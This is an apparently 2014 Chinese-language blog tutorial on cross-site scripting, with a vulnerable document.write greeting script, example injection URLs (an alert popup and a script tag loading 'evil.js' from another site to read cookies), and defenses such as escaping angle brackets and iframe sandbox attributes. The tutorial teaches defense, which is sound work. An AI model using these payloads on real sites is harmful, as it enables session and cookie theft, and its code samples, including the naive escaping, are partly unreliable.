跨站脚本(XSS)

 

跨站脚本: cross-site scripting或者XSS, 即攻击者向目标Web站点注入HTML标签或者脚本

     如果网站没有通过移除任何嵌入的HTML标签来消毒,那么web页面很容易受到跨站脚本攻击

 


 

 

简单例子:

 

下面的js脚本时向用户say hello

<script>
var name = decodeURIComponent(window.location.search.subString(1)) || "";
document.write("Hello " + name);
</script>

eg: http://www.example.com/greet.html?wish

此时输出Hello, wish

 

如果通过http://www.example.com/greet.html%3Cscript%3Ealert('(*^__^*)')%3C/script%3E调用,则页面会执行js脚本 并且弹出对话框(*^__^*) 

 

当然如果在后面嵌入script文件则可进行其他的攻击如下:

http://www.example.com?name = %3Cscript src = siteB/evil.js%3E%3C/script%3E

则B站点的evil.js会嵌入到example.com中,并对站点A的内容进行任何想要的操作,也可以读取cookie中用户相关信息

 


 

 

通常防止XSS攻击的方式是,在使用任何不可信的数据来动态创建文档内容之前,应该从中移除HTML标签

 

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt");

 

当然在IE8中可以使用toStaticHTML()方法

 


 

 

在HTML5中增加了sandbox,增强了iframe可靠性

eg:

<iframe src="demo_iframe_sandbox.htm" sandbox=""></iframe>

只有添加了下面的属性值后在ifame中才允许相关的操作

相关属性:

  allow-scripts                   允许在沙盒中执行JavaScript脚本
  allow-forms                     允许在沙盒中提交表单
  allow-same-origin               允许在沙盒中存取由同源完全策略保护的API

  allow-top-navigation            允许在沙盒中将内容变更为最顶层的窗口
  ms-allow-popups                 允许在沙盒中弹出窗口

 

eg:如想允许执行脚本:

<iframe src="demo_iframe_sandbox.htm" sandbox="allow-scripts">

 

 

 

 

 

posted @ 2014-06-06 18:12  wishyouhappy  阅读(1033)  评论(0编辑  收藏  举报